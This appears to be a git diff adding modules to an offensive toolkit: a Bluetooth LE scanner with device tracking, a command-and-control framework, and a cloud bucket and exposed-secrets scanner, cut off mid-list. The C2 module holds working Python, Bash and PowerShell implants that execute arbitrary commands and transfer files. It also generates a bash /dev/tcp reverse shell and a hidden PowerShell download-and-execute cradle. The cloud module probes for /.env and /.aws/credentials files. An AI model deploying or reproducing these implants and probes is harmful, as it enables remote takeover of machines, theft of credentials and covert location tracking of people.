if readable + if 'read' in char.properties: + try: + val = await client.read_gatt_char(char.uuid) + ch['value'] = val.hex() if isinstance(val, bytes) else str(val) + # Try UTF-8 decode + try: + ch['value_text'] = val.decode('utf-8') + except (UnicodeDecodeError, AttributeError): + pass + except Exception: + ch['value'] = '' + + svc['characteristics'].append(ch) + services.append(svc) + + return { + 'ok': True, + 'address': address, + 'connected': True, + 'services': services, + 'service_count': len(services), + 'char_count': sum(len(s['characteristics']) for s in services) + } + + def read_characteristic(self, address: str, char_uuid: str) -> Dict: + """Read a specific characteristic value.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_read(address, char_uuid)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_read(self, address: str, char_uuid: str) -> Dict: + async with BleakClient(address) as client: + val = await client.read_gatt_char(char_uuid) + return { + 'ok': True, + 'address': address, + 'characteristic': char_uuid, + 'value_hex': val.hex(), + 'value_bytes': list(val), + 'size': len(val) + } + + def write_characteristic(self, address: str, char_uuid: str, + data: bytes) -> Dict: + """Write to a characteristic.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_write(address, char_uuid, data)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_write(self, address: str, char_uuid: str, data: bytes) -> Dict: + async with BleakClient(address) as client: + await client.write_gatt_char(char_uuid, data) + return {'ok': True, 'address': address, 'characteristic': char_uuid, + 'written': len(data)} + + # ── Vulnerability Scanning ─────────────────────────────────────────── + + def vuln_scan(self, address: str = None) -> Dict: + """Check for known BLE vulnerabilities.""" + vulns = [] + + for vuln_name, vuln_info in KNOWN_VULNS.items(): + entry = { + 'name': vuln_name, + 'description': vuln_info['description'], + 'cve': vuln_info['cve'], + 'severity': vuln_info['severity'], + 'status': 'check_required', + 'note': vuln_info['check'] + } + vulns.append(entry) + + # Device-specific checks + if address and address in self.devices: + dev = self.devices[address] + manufacturer = dev.get('manufacturer', '') + + # Apple devices with older firmware + if manufacturer == 'Apple': + vulns.append({ + 'name': 'Apple BLE Tracking', + 'description': 'Apple devices broadcast continuity messages that can be tracked', + 'severity': 'info', + 'status': 'detected' if 'apple_device' in dev.get('device_type', '') else 'not_applicable', + 'note': 'Apple continuity protocol leaks device info' + }) + + # Devices without encryption + for svc in dev.get('services', []): + if 'immediate alert' in svc.get('name', '').lower(): + vulns.append({ + 'name': 'Unauthenticated Alert Service', + 'description': 'Immediate Alert service accessible without pairing', + 'severity': 'low', + 'status': 'detected', + 'note': 'Can trigger alerts on device without authentication' + }) + + return { + 'ok': True, + 'address': address, + 'vulnerabilities': vulns, + 'vuln_count': len(vulns) + } + + # ── Proximity Tracking ─────────────────────────────────────────────── + + def track_device(self, address: str) -> Dict: + """Record RSSI for proximity tracking.""" + if address not in self.devices: + return {'ok': False, 'error': 'Device not found. Run scan first.'} + + dev = self.devices[address] + rssi = dev.get('rssi', 0) + tx_power = dev.get('tx_power', -59) # default TX power + + # Estimate distance (rough path-loss model) + if rssi != 0: + ratio = rssi / tx_power + if ratio < 1.0: + distance = pow(ratio, 10) + else: + distance = 0.89976 * pow(ratio, 7.7095) + 0.111 + else: + distance = -1 + + entry = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'rssi': rssi, + 'estimated_distance_m': round(distance, 2), + 'tx_power': tx_power + } + + if address not in self.tracking_history: + self.tracking_history[address] = [] + self.tracking_history[address].append(entry) + + return { + 'ok': True, + 'address': address, + 'name': dev.get('name', 'Unknown'), + 'current': entry, + 'history_count': len(self.tracking_history[address]) + } + + def get_tracking_history(self, address: str) -> List[Dict]: + """Get tracking history for a device.""" + return self.tracking_history.get(address, []) + + # ── Persistence ────────────────────────────────────────────────────── + + def save_scan(self, name: str = None) -> Dict: + """Save current scan results.""" + name = name or f'scan_{int(time.time())}' + filepath = os.path.join(self.data_dir, f'{name}.json') + with open(filepath, 'w') as f: + json.dump({ + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'devices': list(self.devices.values()), + 'count': len(self.devices) + }, f, indent=2) + return {'ok': True, 'path': filepath, 'count': len(self.devices)} + + def list_scans(self) -> List[Dict]: + """List saved scans.""" + scans = [] + for f in Path(self.data_dir).glob('*.json'): + try: + with open(f) as fh: + data = json.load(fh) + scans.append({ + 'name': f.stem, + 'path': str(f), + 'timestamp': data.get('timestamp', ''), + 'count': data.get('count', 0) + }) + except Exception: + pass + return scans + + def get_devices(self) -> List[Dict]: + """Get all discovered devices.""" + return list(self.devices.values()) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_ble_scanner() -> BLEScanner: + global _instance + if _instance is None: + _instance = BLEScanner() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for BLE Scanner module.""" + scanner = get_ble_scanner() + + while True: + status = scanner.get_status() + print(f"\n{'='*60}") + print(f" BLE Scanner (bleak: {'OK' if status['available'] else 'MISSING'})") + print(f"{'='*60}") + print(f" Devices found: {status['devices_found']}") + print() + print(" 1 — Scan for Devices") + print(" 2 — View Devices") + print(" 3 — Device Detail (connect)") + print(" 4 — Vulnerability Scan") + print(" 5 — Track Device (proximity)") + print(" 6 — Save Scan") + print(" 7 — List Saved Scans") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + dur = input(" Scan duration (seconds, default 10): ").strip() + result = scanner.scan(float(dur) if dur else 10.0) + if result['ok']: + print(f" Found {result['count']} devices:") + for dev in result['devices']: + print(f" {dev['address']} {dev.get('name', '?'):<20} " + f"RSSI={dev['rssi']} {dev['device_type']} ({dev['manufacturer']})") + else: + print(f" Error: {result['error']}") + elif choice == '2': + devices = scanner.get_devices() + for dev in devices: + print(f" {dev['address']} {dev.get('name', '?'):<20} " + f"RSSI={dev['rssi']} {dev['device_type']}") + elif choice == '3': + addr = input(" Device address: ").strip() + if addr: + result = scanner.get_device_detail(addr) + if result['ok']: + print(f" Services: {result['service_count']} Characteristics: {result['char_count']}") + for svc in result['services']: + print(f" [{svc['name']}]") + for ch in svc['characteristics']: + val = ch.get('value_text', ch.get('value', '')) + print(f" {ch['description']} props={ch['properties']} val={val}") + else: + print(f" Error: {result['error']}") + elif choice == '4': + addr = input(" Device address (blank=general): ").strip() or None + result = scanner.vuln_scan(addr) + for v in result['vulnerabilities']: + print(f" [{v['severity']:<8}] {v['name']}: {v['description'][:60]}") + elif choice == '5': + addr = input(" Device address: ").strip() + if addr: + result = scanner.track_device(addr) + if result['ok']: + c = result['current'] + print(f" RSSI: {c['rssi']} Distance: ~{c['estimated_distance_m']}m") + else: + print(f" Error: {result['error']}") + elif choice == '6': + name = input(" Scan name (blank=auto): ").strip() or None + result = scanner.save_scan(name) + print(f" Saved {result['count']} devices") + elif choice == '7': + for s in scanner.list_scans(): + print(f" {s['name']} ({s['count']} devices) {s['timestamp']}") diff --git a/modules/c2_framework.py b/modules/c2_framework.py new file mode 100644 index 0000000..4a2e696 --- /dev/null +++ b/modules/c2_framework.py @@ -0,0 +1,610 @@ +"""AUTARCH C2 Framework + +Multi-session command & control framework with agent generation, +listener management, task queuing, and file transfer. +""" + +DESCRIPTION = "Command & Control framework" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import socket +import base64 +import secrets +import threading +import struct +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Agent Templates ─────────────────────────────────────────────────────────── + +PYTHON_AGENT_TEMPLATE = '''#!/usr/bin/env python3 +"""AUTARCH C2 Agent — auto-generated.""" +import os,sys,time,socket,subprocess,json,base64,platform,random +C2_HOST="{host}" +C2_PORT={port} +BEACON_INTERVAL={interval} +JITTER={jitter} +AGENT_ID="{agent_id}" + +def beacon(): + while True: + try: + s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.settimeout(30) + s.connect((C2_HOST,C2_PORT)) + # Register + info={{"id":AGENT_ID,"os":platform.system(),"hostname":socket.gethostname(), + "user":os.getenv("USER",os.getenv("USERNAME","unknown")), + "pid":os.getpid(),"arch":platform.machine()}} + s.send(json.dumps({{"type":"register","data":info}}).encode()+"\\n".encode()) + while True: + data=s.recv(65536) + if not data:break + try: + cmd=json.loads(data.decode()) + result=handle_cmd(cmd) + s.send(json.dumps(result).encode()+"\\n".encode()) + except:pass + except:pass + finally: + try:s.close() + except:pass + jitter_delay=BEACON_INTERVAL+random.uniform(-JITTER,JITTER) + time.sleep(max(1,jitter_delay)) + +def handle_cmd(cmd): + t=cmd.get("type","") + if t=="exec": + try: + r=subprocess.run(cmd["command"],shell=True,capture_output=True,text=True,timeout=60) + return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":r.stdout[-4096:],"stderr":r.stderr[-2048:],"rc":r.returncode}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="download": + try: + with open(cmd["path"],"rb") as f:d=base64.b64encode(f.read()).decode() + return{{"type":"file","task_id":cmd.get("task_id",""),"name":os.path.basename(cmd["path"]),"data":d}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="upload": + try: + with open(cmd["path"],"wb") as f:f.write(base64.b64decode(cmd["data"])) + return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":"Uploaded to "+cmd["path"]}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="sysinfo": + return{{"type":"result","task_id":cmd.get("task_id",""), + "stdout":json.dumps({{"os":platform.system(),"release":platform.release(), + "hostname":socket.gethostname(),"user":os.getenv("USER",os.getenv("USERNAME","")), + "pid":os.getpid(),"cwd":os.getcwd(),"arch":platform.machine()}})}} + elif t=="exit": + sys.exit(0) + return{{"type":"error","task_id":cmd.get("task_id",""),"error":"Unknown command"}} + +if __name__=="__main__":beacon() +''' + +BASH_AGENT_TEMPLATE = '''#!/bin/bash +# AUTARCH C2 Agent — auto-generated +C2_HOST="{host}" +C2_PORT={port} +INTERVAL={interval} +AGENT_ID="{agent_id}" +while true; do + exec 3<>/dev/tcp/$C2_HOST/$C2_PORT 2>/dev/null + if [ $? -eq 0 ]; then + echo '{{"type":"register","data":{{"id":"'$AGENT_ID'","os":"'$(uname -s)'","hostname":"'$(hostname)'","user":"'$(whoami)'","pid":'$$'}}}}' >&3 + while read -r line <&3; do + CMD=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('command',''))" 2>/dev/null) + TID=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('task_id',''))" 2>/dev/null) + if [ -n "$CMD" ]; then + OUTPUT=$(eval "$CMD" 2>&1 | head -c 4096) + echo '{{"type":"result","task_id":"'$TID'","stdout":"'$(echo "$OUTPUT" | base64 -w0)'"}}' >&3 + fi + done + exec 3>&- + fi + sleep $INTERVAL +done +''' + +POWERSHELL_AGENT_TEMPLATE = '''# AUTARCH C2 Agent — auto-generated +$C2Host="{host}" +$C2Port={port} +$Interval={interval} +$AgentId="{agent_id}" +while($true){{ + try{{ + $c=New-Object System.Net.Sockets.TcpClient($C2Host,$C2Port) + $s=$c.GetStream() + $w=New-Object System.IO.StreamWriter($s) + $r=New-Object System.IO.StreamReader($s) + $info=@{{type="register";data=@{{id=$AgentId;os="Windows";hostname=$env:COMPUTERNAME;user=$env:USERNAME;pid=$PID}}}}|ConvertTo-Json -Compress + $w.WriteLine($info);$w.Flush() + while($c.Connected){{ + $line=$r.ReadLine() + if($line){{ + $cmd=$line|ConvertFrom-Json + if($cmd.type -eq "exec"){{ + try{{$out=Invoke-Expression $cmd.command 2>&1|Out-String + $resp=@{{type="result";task_id=$cmd.task_id;stdout=$out.Substring(0,[Math]::Min($out.Length,4096))}}|ConvertTo-Json -Compress + }}catch{{$resp=@{{type="error";task_id=$cmd.task_id;error=$_.Exception.Message}}|ConvertTo-Json -Compress}} + $w.WriteLine($resp);$w.Flush() + }} + }} + }} + }}catch{{}} + Start-Sleep -Seconds $Interval +}} +''' + + +# ── C2 Server ───────────────────────────────────────────────────────────────── + +@dataclass +class Agent: + id: str + os: str = '' + hostname: str = '' + user: str = '' + pid: int = 0 + arch: str = '' + remote_addr: str = '' + first_seen: str = '' + last_seen: str = '' + status: str = 'active' # active, stale, dead + + +@dataclass +class Task: + id: str + agent_id: str + type: str + data: dict = field(default_factory=dict) + status: str = 'pending' # pending, sent, completed, failed + result: Optional[dict] = None + created_at: str = '' + completed_at: str = '' + + +class C2Server: + """Multi-session C2 server with agent management.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'c2') + os.makedirs(self._data_dir, exist_ok=True) + self._agents: Dict[str, Agent] = {} + self._tasks: Dict[str, Task] = {} + self._agent_tasks: Dict[str, list] = {} # agent_id -> [task_ids] + self._agent_sockets: Dict[str, socket.socket] = {} + self._listeners: Dict[str, dict] = {} + self._listener_threads: Dict[str, threading.Thread] = {} + self._stop_events: Dict[str, threading.Event] = {} + + # ── Listener Management ─────────────────────────────────────────────── + + def start_listener(self, name: str, host: str = '0.0.0.0', + port: int = 4444, protocol: str = 'tcp') -> dict: + """Start a C2 listener.""" + if name in self._listeners: + return {'ok': False, 'error': f'Listener "{name}" already exists'} + + stop_event = threading.Event() + self._stop_events[name] = stop_event + + listener_info = { + 'name': name, 'host': host, 'port': port, 'protocol': protocol, + 'started_at': datetime.now(timezone.utc).isoformat(), + 'connections': 0, + } + self._listeners[name] = listener_info + + def accept_loop(): + try: + srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + srv.settimeout(2.0) + srv.bind((host, port)) + srv.listen(20) + listener_info['socket'] = srv + + while not stop_event.is_set(): + try: + conn, addr = srv.accept() + listener_info['connections'] += 1 + threading.Thread(target=self._handle_agent, + args=(conn, addr, name), + daemon=True).start() + except socket.timeout: + continue + except Exception: + break + except Exception as e: + listener_info['error'] = str(e) + finally: + try: + srv.close() + except Exception: + pass + + t = threading.Thread(target=accept_loop, daemon=True) + t.start() + self._listener_threads[name] = t + + return {'ok': True, 'message': f'Listener "{name}" started on {host}:{port}'} + + def stop_listener(self, name: str) -> dict: + """Stop a C2 listener.""" + if name not in self._listeners: + return {'ok': False, 'error': 'Listener not found'} + stop_event = self._stop_events.pop(name, None) + if stop_event: + stop_event.set() + listener = self._listeners.pop(name, {}) + sock = listener.get('socket') + if sock: + try: + sock.close() + except Exception: + pass + self._listener_threads.pop(name, None) + return {'ok': True, 'message': f'Listener "{name}" stopped'} + + def list_listeners(self) -> List[dict]: + return [{k: v for k, v in l.items() if k != 'socket'} + for l in self._listeners.values()] + + def _handle_agent(self, conn: socket.socket, addr: tuple, listener: str): + """Handle incoming agent connection.""" + conn.settimeout(300) # 5 min timeout + try: + data = conn.recv(65536) + if not data: + return + msg = json.loads(data.decode().strip()) + if msg.get('type') != 'register': + conn.close() + return + + info = msg.get('data', {}) + agent_id = info.get('id', secrets.token_hex(4)) + + agent = Agent( + id=agent_id, + os=info.get('os', ''), + hostname=info.get('hostname', ''), + user=info.get('user', ''), + pid=info.get('pid', 0), + arch=info.get('arch', ''), + remote_addr=f'{addr[0]}:{addr[1]}', + first_seen=datetime.now(timezone.utc).isoformat(), + last_seen=datetime.now(timezone.utc).isoformat(), + ) + + self._agents[agent_id] = agent + self._agent_sockets[agent_id] = conn + if agent_id not in self._agent_tasks: + self._agent_tasks[agent_id] = [] + + # Process pending tasks for this agent + while True: + pending = [t for t in self._get_pending_tasks(agent_id)] + if not pending: + time.sleep(1) + # Check if still connected + try: + conn.send(b'') + except Exception: + break + agent.last_seen = datetime.now(timezone.utc).isoformat() + continue + + for task in pending: + try: + cmd = {'type': task.type, 'task_id': task.id, **task.data} + conn.send(json.dumps(cmd).encode() + b'\n') + task.status = 'sent' + + # Wait for result + conn.settimeout(60) + result_data = conn.recv(65536) + if result_data: + result = json.loads(result_data.decode().strip()) + task.result = result + task.status = 'completed' + task.completed_at = datetime.now(timezone.utc).isoformat() + else: + task.status = 'failed' + except Exception as e: + task.status = 'failed' + task.result = {'error': str(e)} + + agent.last_seen = datetime.now(timezone.utc).isoformat() + + except Exception: + pass + finally: + conn.close() + # Mark agent as stale if no longer connected + for aid, sock in list(self._agent_sockets.items()): + if sock is conn: + self._agent_sockets.pop(aid, None) + if aid in self._agents: + self._agents[aid].status = 'stale' + + def _get_pending_tasks(self, agent_id: str) -> List[Task]: + task_ids = self._agent_tasks.get(agent_id, []) + return [self._tasks[tid] for tid in task_ids + if tid in self._tasks and self._tasks[tid].status == 'pending'] + + # ── Agent Management ────────────────────────────────────────────────── + + def list_agents(self) -> List[dict]: + agents = [] + for a in self._agents.values(): + # Check if still connected + connected = a.id in self._agent_sockets + agents.append({ + 'id': a.id, 'os': a.os, 'hostname': a.hostname, + 'user': a.user, 'pid': a.pid, 'arch': a.arch, + 'remote_addr': a.remote_addr, + 'first_seen': a.first_seen, 'last_seen': a.last_seen, + 'status': 'active' if connected else a.status, + }) + return agents + + def remove_agent(self, agent_id: str) -> dict: + if agent_id in self._agent_sockets: + try: + self._agent_sockets[agent_id].close() + except Exception: + pass + del self._agent_sockets[agent_id] + self._agents.pop(agent_id, None) + self._agent_tasks.pop(agent_id, None) + return {'ok': True} + + # ── Task Queue ──────────────────────────────────────────────────────── + + def queue_task(self, agent_id: str, task_type: str, + data: dict = None) -> dict: + """Queue a task for an agent.""" + if agent_id not in self._agents: + return {'ok': False, 'error': 'Agent not found'} + + task_id = secrets.token_hex(4) + task = Task( + id=task_id, + agent_id=agent_id, + type=task_type, + data=data or {}, + created_at=datetime.now(timezone.utc).isoformat(), + ) + self._tasks[task_id] = task + if agent_id not in self._agent_tasks: + self._agent_tasks[agent_id] = [] + self._agent_tasks[agent_id].append(task_id) + + return {'ok': True, 'task_id': task_id} + + def execute_command(self, agent_id: str, command: str) -> dict: + """Shortcut to queue an exec task.""" + return self.queue_task(agent_id, 'exec', {'command': command}) + + def download_file(self, agent_id: str, remote_path: str) -> dict: + return self.queue_task(agent_id, 'download', {'path': remote_path}) + + def upload_file(self, agent_id: str, remote_path: str, + file_data: bytes) -> dict: + encoded = base64.b64encode(file_data).decode() + return self.queue_task(agent_id, 'upload', + {'path': remote_path, 'data': encoded}) + + def get_task_result(self, task_id: str) -> dict: + task = self._tasks.get(task_id) + if not task: + return {'ok': False, 'error': 'Task not found'} + return { + 'ok': True, + 'task_id': task.id, + 'status': task.status, + 'result': task.result, + 'created_at': task.created_at, + 'completed_at': task.completed_at, + } + + def list_tasks(self, agent_id: str = '') -> List[dict]: + tasks = [] + for t in self._tasks.values(): + if agent_id and t.agent_id != agent_id: + continue + tasks.append({ + 'id': t.id, 'agent_id': t.agent_id, 'type': t.type, + 'status': t.status, 'created_at': t.created_at, + 'completed_at': t.completed_at, + 'has_result': t.result is not None, + }) + return tasks + + # ── Agent Generation ────────────────────────────────────────────────── + + def generate_agent(self, host: str, port: int = 4444, + agent_type: str = 'python', + interval: int = 5, jitter: int = 2) -> dict: + """Generate a C2 agent payload.""" + agent_id = secrets.token_hex(4) + + if agent_type == 'python': + code = PYTHON_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + jitter=jitter, agent_id=agent_id) + elif agent_type == 'bash': + code = BASH_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + agent_id=agent_id) + elif agent_type == 'powershell': + code = POWERSHELL_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + agent_id=agent_id) + else: + return {'ok': False, 'error': f'Unknown agent type: {agent_type}'} + + # Save to file + ext = {'python': 'py', 'bash': 'sh', 'powershell': 'ps1'}[agent_type] + filename = f'agent_{agent_id}.{ext}' + filepath = os.path.join(self._data_dir, filename) + with open(filepath, 'w') as f: + f.write(code) + + return { + 'ok': True, + 'agent_id': agent_id, + 'filename': filename, + 'filepath': filepath, + 'code': code, + 'type': agent_type, + } + + # ── One-liners ──────────────────────────────────────────────────────── + + def get_oneliner(self, host: str, port: int = 4444, + agent_type: str = 'python') -> dict: + """Generate a one-liner to deploy the agent.""" + if agent_type == 'python': + liner = (f"python3 -c \"import urllib.request,os,tempfile;" + f"f=tempfile.NamedTemporaryFile(suffix='.py',delete=False);" + f"f.write(urllib.request.urlopen('http://{host}:{port+1}/agent.py').read());" + f"f.close();os.system('python3 '+f.name+' &')\"") + elif agent_type == 'bash': + liner = f"bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1 &'" + elif agent_type == 'powershell': + liner = (f"powershell -nop -w hidden -c " + f"\"IEX(New-Object Net.WebClient).DownloadString" + f"('http://{host}:{port+1}/agent.ps1')\"") + else: + return {'ok': False, 'error': 'Unknown type'} + + return {'ok': True, 'oneliner': liner, 'type': agent_type} + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_c2_server() -> C2Server: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = C2Server() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for C2 Framework.""" + svc = get_c2_server() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ C2 FRAMEWORK ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Start Listener ║") + print("║ 2 — Stop Listener ║") + print("║ 3 — List Agents ║") + print("║ 4 — Interact with Agent ║") + print("║ 5 — Generate Agent Payload ║") + print("║ 6 — Get One-Liner ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + name = input(" Listener name: ").strip() or 'default' + port = int(input(" Port (4444): ").strip() or '4444') + r = svc.start_listener(name, port=port) + print(f" {r.get('message', r.get('error', ''))}") + elif choice == '2': + listeners = svc.list_listeners() + if not listeners: + print(" No listeners.") + continue + for l in listeners: + print(f" {l['name']} — {l['host']}:{l['port']} ({l['connections']} connections)") + name = input(" Stop which: ").strip() + if name: + r = svc.stop_listener(name) + print(f" {r.get('message', r.get('error', ''))}") + elif choice == '3': + agents = svc.list_agents() + if not agents: + print(" No agents.") + continue + for a in agents: + print(f" [{a['status']:6s}] {a['id']} — {a['user']}@{a['hostname']} " + f"({a['os']}) from {a['remote_addr']}") + elif choice == '4': + aid = input(" Agent ID: ").strip() + if not aid: + continue + print(f" Interacting with {aid} (type 'exit' to return)") + while True: + cmd = input(f" [{aid}]> ").strip() + if cmd in ('exit', 'quit', ''): + break + r = svc.execute_command(aid, cmd) + if not r.get('ok'): + print(f" Error: {r.get('error')}") + continue + # Poll for result + for _ in range(30): + time.sleep(1) + result = svc.get_task_result(r['task_id']) + if result.get('status') in ('completed', 'failed'): + if result.get('result'): + out = result['result'].get('stdout', '') + err = result['result'].get('stderr', '') + if out: + print(out) + if err: + print(f" [stderr] {err}") + break + else: + print(" [timeout] No response within 30s") + elif choice == '5': + host = input(" Callback host: ").strip() + port = int(input(" Callback port (4444): ").strip() or '4444') + atype = input(" Type (python/bash/powershell): ").strip() or 'python' + r = svc.generate_agent(host, port, atype) + if r.get('ok'): + print(f" Agent saved to: {r['filepath']}") + else: + print(f" Error: {r.get('error')}") + elif choice == '6': + host = input(" Host: ").strip() + port = int(input(" Port (4444): ").strip() or '4444') + atype = input(" Type (python/bash/powershell): ").strip() or 'python' + r = svc.get_oneliner(host, port, atype) + if r.get('ok'): + print(f"\n {r['oneliner']}\n") diff --git a/modules/cloud_scan.py b/modules/cloud_scan.py new file mode 100644 index 0000000..94398d1 --- /dev/null +++ b/modules/cloud_scan.py @@ -0,0 +1,448 @@ +"""AUTARCH Cloud Security Scanner + +AWS/Azure/GCP bucket enumeration, IAM misconfiguration detection, exposed +service scanning, and cloud resource discovery. +""" + +DESCRIPTION = "Cloud infrastructure security scanning" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import threading +from pathlib import Path +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +# ── Cloud Provider Endpoints ───────────────────────────────────────────────── + +AWS_REGIONS = [ + 'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', + 'eu-west-1', 'eu-west-2', 'eu-central-1', + 'ap-southeast-1', 'ap-southeast-2', 'ap-northeast-1', +] + +COMMON_BUCKET_NAMES = [ + 'backup', 'backups', 'data', 'dev', 'staging', 'prod', 'production', + 'logs', 'assets', 'media', 'uploads', 'images', 'static', 'public', + 'private', 'internal', 'config', 'configs', 'db', 'database', + 'archive', 'old', 'temp', 'tmp', 'test', 'debug', 'admin', + 'www', 'web', 'api', 'app', 'mobile', 'docs', 'documents', + 'reports', 'export', 'import', 'share', 'shared', +] + +METADATA_ENDPOINTS = { + 'aws': 'http://169.254.169.254/latest/meta-data/', + 'gcp': 'http://metadata.google.internal/computeMetadata/v1/', + 'azure': 'http://169.254.169.254/metadata/instance?api-version=2021-02-01', + 'digitalocean': 'http://169.254.169.254/metadata/v1/', +} + + +# ── Cloud Scanner ──────────────────────────────────────────────────────────── + +class CloudScanner: + """Cloud infrastructure security scanner.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'cloud_scan') + os.makedirs(self.data_dir, exist_ok=True) + self.results: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + # ── S3 Bucket Enumeration ──────────────────────────────────────────── + + def enum_s3_buckets(self, keyword: str, prefixes: List[str] = None, + suffixes: List[str] = None) -> str: + """Enumerate S3 buckets with naming permutations. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f's3enum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 's3_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + prefixes_list = prefixes or ['', 'dev-', 'staging-', 'prod-', 'test-', 'backup-'] + suffixes_list = suffixes or ['', '-backup', '-data', '-assets', '-logs', '-dev', + '-staging', '-prod', '-public', '-private'] + + bucket_names = set() + for pfx in prefixes_list: + for sfx in suffixes_list: + bucket_names.add(f'{pfx}{keyword}{sfx}') + # Add common patterns + for common in COMMON_BUCKET_NAMES: + bucket_names.add(f'{keyword}-{common}') + bucket_names.add(f'{common}-{keyword}') + + self._jobs[job_id]['total'] = len(bucket_names) + found = [] + + for name in bucket_names: + try: + # Check S3 bucket + url = f'https://{name}.s3.amazonaws.com' + resp = requests.head(url, timeout=5, allow_redirects=True) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code == 200: + # Try listing + list_resp = requests.get(url, timeout=5) + listable = ' str: + """Enumerate Google Cloud Storage buckets. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f'gcsenum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'gcs_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + names = set() + for suffix in ['', '-data', '-backup', '-assets', '-staging', '-prod', '-dev', '-logs']: + names.add(f'{keyword}{suffix}') + + self._jobs[job_id]['total'] = len(names) + found = [] + + for name in names: + try: + url = f'https://storage.googleapis.com/{name}' + resp = requests.head(url, timeout=5) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code in (200, 403): + found.append({ + 'bucket': name, 'provider': 'gcp', + 'url': url, 'status': resp.status_code, + 'public': resp.status_code == 200 + }) + except Exception: + self._jobs[job_id]['checked'] += 1 + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_enum, daemon=True).start() + return job_id + + # ── Azure Blob Enumeration ─────────────────────────────────────────── + + def enum_azure_blobs(self, keyword: str) -> str: + """Enumerate Azure Blob Storage containers. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f'azureenum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'azure_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + # Storage account names + accounts = [keyword, f'{keyword}storage', f'{keyword}data', + f'{keyword}backup', f'{keyword}dev', f'{keyword}prod'] + containers = ['$web', 'data', 'backup', 'uploads', 'assets', + 'logs', 'public', 'media', 'images'] + + total = len(accounts) * len(containers) + self._jobs[job_id]['total'] = total + found = [] + + for account in accounts: + for container in containers: + try: + url = f'https://{account}.blob.core.windows.net/{container}?restype=container&comp=list' + resp = requests.get(url, timeout=5) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code == 200: + found.append({ + 'account': account, 'container': container, + 'provider': 'azure', 'url': url, + 'status': resp.status_code, 'public': True + }) + elif resp.status_code == 403: + found.append({ + 'account': account, 'container': container, + 'provider': 'azure', 'url': url, + 'status': 403, 'exists': True, 'public': False + }) + except Exception: + self._jobs[job_id]['checked'] += 1 + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_enum, daemon=True).start() + return job_id + + # ── Exposed Services ───────────────────────────────────────────────── + + def scan_exposed_services(self, target: str) -> Dict: + """Check for commonly exposed cloud services on a target.""" + if not HAS_REQUESTS: + return {'ok': False, 'error': 'requests not available'} + + services = [] + checks = [ + ('/server-status', 'Apache Status'), + ('/nginx_status', 'Nginx Status'), + ('/.env', 'Environment File'), + ('/.git/config', 'Git Config'), + ('/.aws/credentials', 'AWS Credentials'), + ('/wp-config.php.bak', 'WordPress Config Backup'), + ('/phpinfo.php', 'PHP Info'), + ('/debug', 